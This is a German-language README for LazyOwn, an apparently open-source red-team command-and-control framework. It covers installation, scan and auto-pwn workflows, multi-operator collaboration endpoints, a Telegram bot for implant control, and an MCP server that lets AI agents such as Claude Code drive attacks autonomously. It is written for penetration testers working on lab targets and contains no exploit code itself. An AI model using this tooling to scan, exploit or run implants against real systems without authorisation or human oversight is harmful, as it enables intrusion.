Red-Team-Framework und Multi-Operator-C2-Plattform mit KI-Agenten, malleable Implants, Rootkits, Phishing-Engine und 741 CLI-Befehlen, die die gesamte Attack Kill Chain abdecken.
741 CLI-Befehle. Multi-Operator-C2. 153 MCP-Tools für KI-Agenten. Das einzige OSS-C2 mit Linux-BOF-Unterstützung + integrierten YARA/Nuclei-Marktplätzen.
| In 60 Sekunden testen (ohne Installation) | Golden Path (bei jedem Engagement) | Auto-Pwn mit einem Befehl |
|---|---|---|
docker run -it ghcr.io/grisuno/lazyown:latest | ping > lazynmap > auto_populate > facts_show > recommend_next | engage 10.10.11.5 |

| Die ersten 7 Befehle | Recon-Schleife |
|---|---|
![]() | ![]() |
| C2 über die CLI | Befehle an Beacons senden |
|---|---|
![]() | ![]() |
Vollständige Anleitung: QUICKSTART.md (5 Min.) · 80/20-Leitfaden: ESSENTIALS.md · HTB End-to-End: docs/examples/htb-lame-walkthrough.md · Ehrlicher Vergleich: COMPARISON.md
| Fähigkeit | LazyOwn | Sliver | Havoc | Mythic | Caldera | Metasploit |
|---|---|---|---|---|---|---|
| Linux-BOF-Unterstützung | ja | nein | nein | nein | nein | nein |
| YARA- + Nuclei-Marktplatz integriert | ja | nein | nein | nein | nein | nein |
| MCP-Server für KI-Agenten (153 Tools) | ja | nein | nein | nein | nein | nein |
| LLM-Operator + Multi-Agent-Hive | ja | nein | nein | nein | nein | nein |
| Multi-Operator-C2 + Phishing-Engine | ja | teilweise | teilweise | teilweise | teilweise | teilweise |
Vollständige Tabelle: COMPARISON.md. Fehler gefunden? Öffne ein Issue, wir beheben es.```sh
██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █
▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █
▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒
▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒
░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░
░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒
░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
[](https://ko-fi.com/Y8Y2Z73AV)
LazyOwn comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under the terms of the GNU General Public License v3.
See the LICENSE file for details about using this software.
# LazyOwn RedTeam Framework v0.2.161
LazyOwn ist ein professionelles Red-Team-Framework und eine Command-&-Control-(C2)-Plattform, entwickelt für Penetrationstester, Red Teams und Sicherheitsforscher. Es bietet 741 CLI-Befehle, 126 Aliase, 153 MCP-Tools für KI-Agenten, ein Multi-Operator-Web-C2-Dashboard und 137 YAML/Lua-Plugin-Integrationen, die die gesamte Kill Chain über Linux, Windows, macOS und BSD abdecken.
**Neu in v0.2.161:** integrierter Marktplatz mit YARA-Regeln + Nuclei-Templates, `auto_pwn` autonome Ausnutzung, `hunt`-Befehl für bedrohungsinformierte Aufklärung, Post-Command-Tipps-Engine, automatische Verschlüsselung von Sitzungsdaten, gamifizierte ELO/Badges und 7 neue APT-Playbooks.
## Schnellstart in drei Befehlen
Neu hier? Dies ist der gesamte Einstieg. Vollständige Anleitung: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh # virtualenv + pinned dependencies + C2 certificates
./run # launches the shell; first run offers the setup wizard
Die Standardinstallation ist schlank; füge --with-ml für den schweren torch/CUDA-Stack hinzu, --with-ollama für die lokale LLM-Laufzeit, --with-tools für die gängigen externen Binärdateien. Abhängigkeiten sind in requirements.txt (plattformübergreifender Kern) und requirements-ml.txt (optionales ML) festgeschrieben; pyproject.toml ist die einzige Quelle der Wahrheit.
Für isolierte, reproduzierbare Engagements siehe lazyown-docker/README.md.```bash
cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1
Dann, innerhalb der `(LazyOwn) >` Shell:```text
doctor # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping # confirm the target is up and detect its OS
lazynmap # full port + service scan
Wenn doctor einen blockierenden Fehler (rot) meldet, behebe ihn, bevor du fortfährst — es wird dir der exakte pip install / apt install-Befehl für alles Fehlende angezeigt. Warnungen (gelb) sind optionale Funktionen, die du vorerst ignorieren kannst.
LazyOwn basiert auf einer modularen, befehlsgesteuerten Architektur, die Flexibilität und Erweiterbarkeit für Sicherheitstest-Workflows bietet.

LazyOwn integriert eine Kommandozeilenschnittstelle (CLI) auf Basis von cmd2 und eine webbasierte GUI auf Basis von Flask. Parameter sind auf payload.json beschränkt, was eine konsistente Konfiguration über alle Tools hinweg ermöglicht. Das Framework unterstützt Adversary-Simulation, Aufgabenplanung über den cron-Befehl und persistente automatisierte Bedrohungssimulations-Workflows.


Verbinde Claude Code über das Model Context Protocol (MCP) mit dem LazyOwn-Framework. Der MCP-Server stellt 153 Tools bereit, die den gesamten Engagement-Lebenszyklus abdecken.
| Datei | Zweck |
|---|---|
skills/lazyown_mcp.py | MCP-Server — stellt Claude 153 LazyOwn-Tools bereit |
skills/lazyown.md | Claude Code Skill / Slash-Command-Dokumentation |
skills/autonomous_daemon.py | Autonomer Ausführungsdaemon (zielgesteuert, kein Claude zwischen den Schritten erforderlich) |
skills/hive_mind.py | Multi-Agenten-Königin-+-Drohnen-System mit ChromaDB-Speicher |
skills/lazyown_policy.py | Belohnungsbasierte Policy-Engine für die auto_loop |
skills/lazyown_facts.py | Strukturierte Faktenextraktion aus nmap XML und Tool-Ausgabe |
skills/lazyown_parquet_db.py | Parquet-Wissensdatenbank: Sitzungsverlauf, GTFOBins, LOLBas, ATT&CK |
Vollständige Anleitung:
QUICKSTART.md```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh
./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show
bash fast_run_as_r00t.sh --no-attach --vpn 1
(LazyOwn) > blacksandbeacon
(LazyOwn) > collab_join alice
---
## Multi-Operator-Zusammenarbeit
Die Collab-Schicht von LazyOwn bietet Echtzeit-Teamserver-Funktionalität über
Server-Sent Events (SSE). Sie wird automatisch aktiviert, wenn `lazyc2.py` startet.
**Browser-Dashboard** — in jedem Browser im Team öffnen:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>
Terminal-SSE-Stream:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .
**Einen Fund an alle Operatoren veröffentlichen**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
-H "Content-Type: application/json" \
-d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'
Ziel sperren (verhindert, dass zwei Operatoren dasselbe Tool ausführen):```bash
curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'
| Endpunkt | Methode | Beschreibung |
|---|---|---|
| `/collab/` | GET | Multi-Operator-Browser-Dashboard |
| `/collab/stream?operator=<name>` | GET (SSE) | Echtzeit-Ereignisstrom |
| `/collab/operators` | GET | Liste der aktiven Operatoren |
| `/collab/publish` | POST | Ein strukturiertes Ereignis senden |
| `/collab/lock` | POST | Beratende Ziel-Sperre erwerben |
| `/collab/unlock` | POST | Ziel-Sperre freigeben |
| `/collab/locks` | GET | Alle aktiven Sperren |
| `/collab/history?n=100` | GET | Letzte N Ereignisse |
Von der CLI aus: `collab_join <handle>` gibt alle URLs für einen gegebenen Operator aus.
---
## MCP-Schnellstart
LazyOwn stellt sein vollständiges Framework über das Model Context Protocol (MCP) bereit. Derselbe Server funktioniert mit Claude Code, Claude Desktop, Hermes Agent und OpenCode — wählen Sie die Integration, die zu Ihrer Umgebung passt.
### Claude Code```bash
bash scripts/setup_hermes_mcp.sh
Oder kopieren Sie .mcp.example.json nach .mcp.json und setzen Sie LAZYOWN_DIR auf den
absoluten Pfad dieses Checkouts:```json
{
"mcpServers": {
"lazyown": {
"command": "python3",
"args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"],
"env": {
"LAZYOWN_DIR": "${LAZYOWN_DIR}"
}
}
}
}
Installiere den Slash-Befehl (optional):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md
Nach dem Neustart von Claude Code sind alle lazyown_*-Tools verfügbar.
LazyOwn ist Hermes-nativ. Die Integrationsschicht skills/hermes-lazyown/ bietet eine kompakte, namensraumierte Tool-Oberfläche, die für Hermes-Kontextfenster optimiert ist, mit Checkpoint-Wiederaufnahme, dynamischer Regelgenerierung und nativer Delegationsplanung.
Registrieren in ~/.hermes/config.yaml:```yaml
mcp_servers:
hermes-lazyown:
command: python3
args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"]
env:
LAZYOWN_DIR: "${LAZYOWN_DIR}"
Dann lade die MCP-Tools in Hermes mit `/reload-mcp` neu.
Siehe `skills/hermes-lazyown/README.md` für die vollständige Hermes-Integrationsanleitung.
### OpenCode
LazyOwn ist OpenCode-freundlich über den **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build
Der Adapter bindet den MCP-Server von LazyOwn in die OpenCode-CLI ein und stellt dieselbe lazyown_*-Tool-Oberfläche mit OpenCode-nativen Prompts und Workflows bereit.
Vollständige Einrichtung: https://github.com/grisuno/LazyOwnOpenCodeAdapter
| Variable | Standard | Beschreibung |
|---|---|---|
LAZYOWN_DIR | übergeordnetes Verzeichnis von skills/ | LazyOwn-Stammverzeichnis |
LAZYOWN_C2_HOST | payload.json lhost | C2-Server-Adresse |
LAZYOWN_C2_PORT | payload.json c2_port | C2-Server-Port |
LAZYOWN_C2_USER | payload.json c2_user | C2-Benutzername |
LAZYOWN_C2_PASS | payload.json c2_pass | C2-Passwort |
| Gruppe | Tools | Beschreibung |
|---|---|---|
| Core Execution | 7 | run_command (jetzt mit dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette |
| Audit & Context | 6 | target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status |
| Target Management | 3 | add_target, list_targets, set_active_target |
| C2 / Implant Control | 10 | c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary |
| Session Awareness | 4 | session_status, session_state, list_sessions, read_session_file |
| Autonomous Loop | 3 | auto_loop, policy_status, recommend_next |
| ACI — Autonomous Campaign Intelligence | 3 | aci_plan, aci_status, aci_replan |
| Reactive Intelligence | 2 | reactive_suggest, bridge_suggest |
| Objectives & Planning | 4 | inject_objective, next_objective, soul, read_prompt |
| Knowledge Bases | 9 | parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model |
| Memory & Learning | 3 | memory_recall/store, eval_quality |
| Campaign & Reporting | 7 | campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline |
| Playbooks | 2 | playbook_generate, playbook_run |
| Addons, Tools & Plugins | 3 | list_addons/plugins, create_addon/tool |
| Scheduling | 2 | cron_schedule, daemon |
| AI Agents | 5 | run_agent, agent_status/result, list_agents, llm_ask |
| Event Engine | 4 | poll_events, ack_event, add_rule, heartbeat_status |
| SWAN MoE+RL | 4 | swan_run, swan_ensemble, swan_status, swan_route |
Vollständige Dokumentation: skills/README.md und skills/lazyown.md.
Hinzugefügt in skills/lazyown_mcp_helpers.py, um autonome Audits effizienter
und weniger fehleranfällig zu machen. Die Logik liegt in einem Pure-Function-Modul,
damit sie isoliert unit-testbar ist (tests/test_mcp_improvements.py).
| Tool / Parameter | Was es tut | Warum es wichtig ist |
|---|---|---|
lazyown_session_init(format='json', include_recommend=true) | Gibt den SITREP als strukturiertes Dict statt als Banner zurück; bettet optional die Top-3 der ranghöchsten empfohlenen Aktionen ein. | Spart ~5KB dekorierten Text pro Aufruf; Agents können filtern, bevor sie konsumieren. |
lazyown_campaign_sitrep(format='json') | Dieselbe JSON-Option für den Master-Shift-Report. | Konsistentes Format über beide Situationstools hinweg. |
lazyown_target_context(host, port=N) | Aggregiert offene Ports, World-Model-Credentials (mit Provenienz + Konfidenz), Schwachstellen, Aktualität der pwntomate-Evidenz und Aktualität von nmap für ein (host, port)-Tupel. | Ersetzt 4-5 separate Lookups bei der Entscheidung über die nächste Aktion auf einem Target. |
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5) | Prüft sessions/tasks.json und markiert Einträge, bei denen das eingebettete Credential tatsächlich ein Zeitstempel / URL / IP / Duplikat ist. Übergib dry_run=false, um die Datei neu zu schreiben (zuvor wird eine .bak geschrieben). | Der Watcher verwandelt häufig Log-Zeitstempel in "Credentials"; in einer echten Kampagne entfernt dies 100+ Rausch-Tasks. |
| `lazyown_evidence_grep(pattern, scope='all | loot | nmap |
lazyown_run_command(command, dry_run=true) | Pre-Flight: gibt Basisbefehl, Binärpfad, OS-required vs. OS-current, würde-duplizieren-Artefakte, fehlende Payload-Schlüssel zurück — ohne Ausführung. | Verhindert versehentliche Wiederholungsläufe von 30-Minuten-Scans; markiert Windows-only-Tools gegen ein Linux-Target vor dem Start. |
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id) | Background-Job-Muster für lange Befehle (lazynmap, pwntomate, auto_loop). Gibt sofort eine job_id zurück. | Befreit den Agent vom Blockieren bei Befehlen, die als ≥30 Min dokumentiert sind. |
lazyown_session_diff(take=true) | Meldet hinzugefügte / geänderte / entfernte Dateien in sessions/ sowie neue Credentials / Task-IDs seit dem letzten Snapshot. | Macht Schichtübergaben explizit; funktioniert gut als erster Aufruf jeder neuen Session. |
Bestätigungs-Gate (confirm=true) |
Eine SOLID-Erweiterungsschicht in cli/cli_enhancements.py dockt über die
bestehende CommandSet-Auto-Discovery (cli/commands/audit.py) an die cmd2-Shell
an. Es waren keine Änderungen am 27k-Zeilen-Kern lazyown.py erforderlich,
abgesehen von zwei kleinen Hooks (Lazy-Alias-Laden, completedefault-Fallback).
| Befehl / Hook | Was es tut | Gestützt durch |
|---|---|---|
fz [query] | Fuzzy-Befehlssuche über jedes do_*, Alias, Plugin und Addon. Bewertet exakt > Präfix > Teilstring > Sequenzähnlichkeit. | FuzzyCommandIndex |
form <command> | Führt den Operator durch ein interaktives Parameterformular für Befehle mit vielen Flags (derzeit phishing, venom, evil). Validiert Pflichtfelder und options-Enums; fällt bei nicht-interaktiver IO auf Standardwerte zurück. | InteractiveForm, FormSpec |
status_tail [target] | Parst die neueste sessions/scan_<target>.partial/.nmap und gibt offene Ports, Prozent abgeschlossen und letzte Zeile aus, damit der Operator einen langen Scan überwachen kann, ohne die Shell zu verlassen. | LiveStatusTail |
grep_log <pattern> [--cmd <name>] | Regex-Suche über das aktuelle Transkript ausgeführter Befehle und deren Ausgaben. Persistiert über Neustarts hinweg (sessions/_cli_transcript.jsonl). | TranscriptStore |
reload_addons | Fragt lazyaddons/ und plugins/ ab und registriert alles neu, was sich seit dem letzten Sweep geändert hat, ohne die Shell neu zu starten. | AddonHotReloader |
audit_complete_keys <command> [partial] | Zeigt an, was der payload-bewusste Completer für einen gegebenen Befehl vorschlagen würde. Nützlich zur Überprüfung des Vervollständigungsverhaltens. | PayloadAwareCompleter |
completedefault (Tab) | Der Cmd2-Hook fällt jetzt auf einen payload-bewussten Completer durch, der Payload-Schlüssel für set/assign, IP-Werte für target, Wordlist-Schlüssel für gobuster/ffuf, Addon-Namen für run, Plugin-Namen für plugin und erfasste Credentials für evil/cme/ vorschlägt. |
Die Primitive sind framework-agnostisch und hängen von kleinen typing.Protocol-
Schnittstellen (PayloadProvider, CommandLister, TerminalIO) ab, sodass sie
isoliert unit-testbar sind. Siehe tests/test_cli_enhancements.py (36 Tests).
Die cmd2-Shell installiert einen curses-getriebenen Fuzzy-Picker auf GNU readline
(cli/fuzzy_picker.py). Bei einem einzelnen Tab-Druck, wenn zwei oder mehr
Vervollständigungen verfügbar sind, öffnet der Picker ein umrandetes Dropdown,
das am unteren Rand des Terminals verankert ist und jeden Treffer zusammen mit
seiner Beschreibung anzeigt. Der Scorer bevorzugt exakte, Präfix- und
Teilsequenz-Treffer gegenüber Teilstring und Ähnlichkeit (dieselbe Rangfolge,
die der eigenständige fz-Befehl verwendet), und die übereinstimmenden Zeichen
der Abfrage werden in jeder Zeile hervorgehoben, damit der Operator sehen kann,
warum ein Kandidat in der Liste steht.
Navigation: ↑ / ↓ zum Bewegen, Page Up / Page Down zum Springen, Home /
End zum Suchen, Backspace zum Bearbeiten der Abfrage an Ort und Stelle,
Tab oder Enter zum Einfügen des hervorgehobenen Befehls in den Prompt,
Esc oder Ctrl-C zum Abbrechen. Wenn nur ein Kandidat übereinstimmt,
bleibt das normale Auto-Einfügeverhalten von readline erhalten, sodass der
Picker einen schnellen Operator nie behindert. Geometrie, Farben und Glyphen
werden von PickerConfig gesteuert, und ein optionaler fuzzy_picker-Block in
payload.json kann jedes seiner Felder überschreiben (z. B. "max_visible_rows": 8),
ohne Code anzufassen.
config_bannerDie cmd2-Shell rendert einen dreizeiligen Neon-Box-Prompt, der aus einem
kanonischen Satz von Segmenten zusammengesetzt ist (user_host, iface, lhost,
rhost, domain, public_ip, cwd, git, venv, time, kernel, version,
battery_load). Der Renderer ist in cli/banner_config.py als kleiner
SOLID-Stack implementiert: ein SegmentRenderer pro Informationseinheit, eine
SegmentRegistry, ein BannerSettings-Value-Object und ein BannerRenderer,
der ANSI-farbige Ausgabe erzeugt. Öffentliche IP, Kernel-Release und die
LazyOwn-Version sind TTL-gecacht, sodass der Prompt nach dem ersten Rendern
im Sub-Millisekunden-Bereich bleibt.
Der Shell-Befehl config_banner öffnet einen Powerlevel10k-artigen
curses-Assistenten mit drei Tabs — Segments, Colors, Glyphs —
und einer Live-Vorschau des resultierenden Prompts, die am unteren Rand des
Panels verankert ist. Tab / Shift+Tab wechseln die Tabs; ↑ / ↓ bewegen
sich innerhalb des aktiven Tabs; Enter speichert in payload.json unter
dem banner-Block; Escape bricht ab. Tastenzuordnungen pro Tab:
| Tab | Aktionstasten |
|---|---|
| Segments | Space schaltet ein Segment ein/aus; a aktiviert jedes Segment; n deaktiviert jedes Segment; d stellt die Werkseinstellungen wieder her. |
| Colors | Space / → wechselt zur nächsten benannten Farbe (bright_green, bright_cyan, bright_magenta, …); ← wechselt zurück; d stellt die Standardfarbe dieses Segments wieder her. |
| Glyphs | Space / → wechselt zum nächsten Zeichen für den fokussierten Slot (top_left, vertical, bullet_primary, arrow, prompt_char_user, …); ← wechselt zurück; d stellt das Standard-Glyph dieses Slots wieder her. |
Der Shell-Prompt wird unmittelbar nach dem Speichern aktualisiert — kein
Neustart erforderlich. Operatoren ohne TTY (CI, Skripte) können das System
weiterhin mit config_banner show und config_banner reset steuern oder die
Payload manuell bearbeiten:```json
"banner": {
"enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
"colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
"glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
"bullet_primary": "❯", "arrow": "→"}
}
Farbnamen werden gegen `ColorRegistry` und Glyph-Zeichen gegen `GlyphRegistry` validiert; alles Unbekannte fällt stillschweigend auf den Factory-Standard zurück, sodass eine fehlerhafte Payload niemals den Prompt bricht.
### Graph-bewusste Navigation — Operator- + Agent-UX aus graphify
`cli/graph_advisor.py` lädt den Knowledge Graph, der von
[`/graphify`](https://graphify.dev) über den LazyOwn-Quellbaum erzeugt wurde
(`graphify-out/graph_lazyown.json` — ~1500 Knoten, ~2900 Kanten, 14
Communities) und stellt ihn sowohl der cmd2-Shell als auch dem MCP-Server zur
Verfügung. Der Advisor ist ein Single-File-SOLID-Stack — `GraphLoader` (mtime-gecachte Datei-IO), `GraphIndex` (In-Memory-Adjazenz-/Degree-/Community-Indizes),
`GraphScorer` (reines Ranking-Primitiv), `GraphAdvisor` (Orchestrator) —
wobei jede Konstante im `GraphAdvisorConfig`-Dataclass gehalten wird.
**Operator-Befehle (cmd2-Shell)**
| Befehl | Zweck |
|---------|---------|
| `graph_search <query> [limit]` | Fuzzy-Suche nach Knoten anhand von Label, ID oder Quelldatei. |
| `neighbors <node> [depth] [limit]` | Durchläuft den Graphen ausgehend von einem Knoten mit Kantenrelation / Konfidenz. |
| `god_nodes [N]` | Zeigt die am stärksten vernetzten Knoten — die Kernabstraktionen des Frameworks. |
| `suggest_next [seeds…] [N]` | Empfiehlt die nächsten Befehle durch Durchlaufen ausgehend von der letzten Aktivität. Ohne Seeds liest es `sessions/LazyOwn_session_report.csv` und verwendet diese als Seeds. |
Der `default()`-Hook der Shell leitet nun unbekannte `do_*`-Befehle durch
denselben Advisor + den bestehenden `FuzzyCommandIndex`, sodass ein Operator,
der `ddo_lazynmap` eingibt, sofort *"Did you mean: do_lazynmap, do_lazynmap_quick, …?"*
sieht, bevor der Toast erscheint.
**MCP-Tools (Claude Code, Claude web, jeder MCP-Agent)**
| Tool | Zweck |
|------|---------|
| `lazyown_graph_summary` | Knoten- / Kanten- / Community-Anzahlen und der aufgelöste Graph-Pfad. |
| `lazyown_graph_search` | Fuzzy-Knotensuche mit einer `budget_tokens`-Obergrenze, damit die JSON-Antwort niemals das Kontextfenster des Agenten sprengt. |
| `lazyown_graph_neighbors` | Geschichteter Adjazenz-Durchlauf mit Kantenrelation und Konfidenz — die kanonische "Wovon hängt X ab?"-Abfrage. |
| `lazyown_graph_suggest_next` | Empfehlung für den nächsten Schritt; nimmt eine explizite `recent`-Liste oder liest das Sitzungsprotokoll. |
Jedes MCP-Graph-Tool kürzt Listenfelder in-place, um in `budget_tokens`
(Standard 1500) zu passen. Wenn der Graph fehlt, gibt jedes Tool
`{"available": false, "reason": "..."}` zurück, anstatt abzustürzen — dem Operator
wird gesagt, er solle einmal `/graphify .` ausführen, und alles funktioniert.
Der Advisor cached nach `(path, mtime)`, sodass ein frischer `/graphify`-Rebuild
automatisch beim nächsten CLI-Befehl oder MCP-Aufruf übernommen wird, ohne
die Shell oder den MCP-Server neu zu starten. Siehe
`tests/test_graph_advisor.py` für die 20 Unit-Tests, die Loader,
Index, Scorer und die vollständige Advisor-API abdecken.
### Inline-Reactive-Hints — nicht-blockierende Vorschläge für den nächsten Schritt
`cli/reactive_hints.py` hängt sich über `register_postcmd_hook` in die
Post-Command-Pipeline von cmd2 ein und gibt eine einzelne gedimmte Zeile unter
jeder Befehlsausgabe aus, bevor der nächste Prompt erscheint:```
↳ do_gobuster · do_enum4linux · do_ffuf
Der Vorschlag stammt aus dem graphify-Wissensgraphen (derselbe GraphAdvisor, der von suggest_next verwendet wird), ist also strukturell fundiert — keine generische Liste. Der Hook ist vollständig nicht-blockierend: Er kehrt zurück, bevor cmd2 die Eingabeaufforderung rendert, sodass der Operator sofort mit der Eingabe des nächsten Befehls beginnen kann.
Steuerung
| Aktion | Vorgehensweise |
|---|---|
| Hinweise für die Sitzung deaktivieren | set enable_inline_hints false |
| Wieder aktivieren | set enable_inline_hints true |
| Dauerhaft beibehalten | set enable_inline_hints false und dann save |
Befehle auf der Skip-Liste (help, ?, exit, set, show, palette, dashboard, suggest_next, graph_search, neighbors, god_nodes) erzeugen niemals eine Hinweiszeile — es sind Meta-Befehle, bei denen ein Vorschlag nur Rauschen hinzufügt.
Wenn der graphify-Graph fehlt, kehrt der Hook still zurück. Führen Sie einmal /graphify . aus, um den Graphen zu erstellen, und Hinweise erscheinen bereits beim nächsten Befehl.
dashboardcli/dashboard_tui.py ist ein bildschirmfüllendes Textual-Dashboard, das von der Shell aus gestartet wird mit:```
dashboard
Es blockiert die Shell, solange es geöffnet ist (wie `htop` oder `lazygit`). Drücke **Q** oder
Ctrl-C, um es zu schließen und zur cmd2-Eingabeaufforderung zurückzukehren.
**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5 ATTACKER 10.10.14.5 DOMAIN target.htb PHASE RECON OS │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│ Kill Chain │ Recent Commands │ Ops │
│ ✔ Recon │ ● lazynmap 2026-05-11 │ Objective: │
│ ▶ Enum │ ● ping 2026-05-11 │ Initial Access │
│ ○ Exploit │ ● gobuster 2026-05-11 │ │
│ ○ PrivEsc │ │ Credentials: 0 │
│ ○ Lateral │ │ Hashes: 0 │
│ ○ Exfil │ Config │ Beacons: 0 │
│ ○ Report │ Target: 10.10.11.5 │ │
│ │ C2 Port: 4444 │ │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│ ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto │
└──────────────────────────────────── [Q] Quit [R] Refresh [?] Help ────────┘
Datenquellen (automatisch alle 5 Sekunden aktualisiert)
| Panel | Quelle |
|---|---|
| Ziel / Phase / OS | payload.json, sessions/world_model.json |
| Kill-Chain-Fortschritt | sessions/world_model.json → completed_phases |
| Letzte Befehle | sessions/LazyOwn_session_report.csv |
| Zielsetzung | sessions/world_model.json, sessions/tasks.json |
| Anmeldedaten / Hashes | sessions/credentials*.txt, sessions/hash*.txt |
| Beacons | sessions/beacons.json |
| Graph-Hinweise | graphify-out/graph_lazyown.json |
Erfordert pip install textual (hinzugefügt zu install.sh).
Das MCP-Tool lazyown_palette (auch erreichbar als CLI-Befehl palette
und als Web-Ansicht /palette, mit einem globalen Ctrl+K / Cmd+K-Overlay
auf jeder C2-Seite) ermöglicht es Agenten und Operatoren, die über 422 do_*-Befehle
ohne Scrollen zu durchsuchen. Modi:
| Modus | Beispiel | Beschreibung |
|---|---|---|
| Übersicht | palette | Befehlsanzahl pro Phase. |
| Phase | palette recon | Jeder Befehl in einer Kill-Chain-Phase, mit einer einzeiligen Zusammenfassung. |
| Phase + Filter | palette enum nmap | Phasenauflistung, eingegrenzt durch eine Freitextabfrage. |
| Suche | palette --search ldap | Unscharfe Suche über Name und Zusammenfassung. |
| Detail | palette --info do_lazynmap | Vollständiger Eintrag plus graphify-abgeleitete calls- und related-Nachbarn (welche anderen Befehle sich Hilfsfunktionen mit diesem teilen). |
| Nächste Phase | palette --next recon | Empfohlene Befehle in der Phase, die in der Kill-Chain-Reihenfolge als Nächste folgt. |
Die calls- / related-Listen der Detailansicht stammen aus
graphify-out/graph_lazyown.json (neu generiert durch die graphify-Skill);
wenn diese Datei fehlt, degradiert die Palette stillschweigend auf reine Phasendaten.
Der Bot telegram_hermes.py verbindet Telegram über die MCP-Schicht und das Hermes-Gateway mit dem vollständigen LazyOwn-Framework. Er unterstützt die direkte Ausführung von Shell-Befehlen, die Delegation an autonome Agenten, Cron-Planung, C2-Beacon-Interaktion und plattformübergreifendes Messaging.
| Datei | Zweck |
|---|---|
telegram_hermes.py | Telegram-Bot — verbindet Telegram mit LazyOwn MCP und Hermes-Gateway |
run_telegram_hermes.sh | Startskript unter Verwendung einer dedizierten venv |
venv_telegram/ | Python-virtuelle Umgebung mit python-telegram-bot-Abhängigkeiten |
cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"
./run_telegram_hermes.sh
### Bot-Befehle
| Befehl | Beschreibung |
|---------|-------------|
| `/start <secret>` | Authentifizierung mit dem C2-Secret aus `payload.json` |
| `/cmd <command>` | Beliebigen LazyOwn-Shell-Befehl ausführen |
| `/sitrep` | Vollständiger Kampagnen-Lagebericht |
| `/config [key] [val]` | payload.json-Werte anzeigen oder setzen |
| `/addcli <client_id>` | Aktiven C2-Client festlegen |
| `/clients` | Online-C2-Implantate auflisten |
| `/c2 <command>` | Befehl an C2-Beacon senden |
| `/agent <goal>` | Autonomen Groq/Ollama-Agenten ausführen |
| `/delegate <goal>` | Aufgabe an Hermes-Subagenten delegieren |
| `/cron <schedule> <cmd>` | Wiederkehrende LazyOwn-Befehle planen |
| `/status` | Daemon- und Autonomie-Status anzeigen |
| `/stop` | Laufenden autonomen Daemon stoppen |
| `/download <file>` | Dateien aus sessions/ herunterladen |
| Dokument hochladen | Dateien zum C2-Beacon hochladen |
Jede Klartextnachricht ohne `/`-Präfix wird als direkter LazyOwn-Befehl behandelt. Rate Limiting (5 Befehle/Minute) und Session-Timeouts (30 Minuten) werden erzwungen.
### Architektur
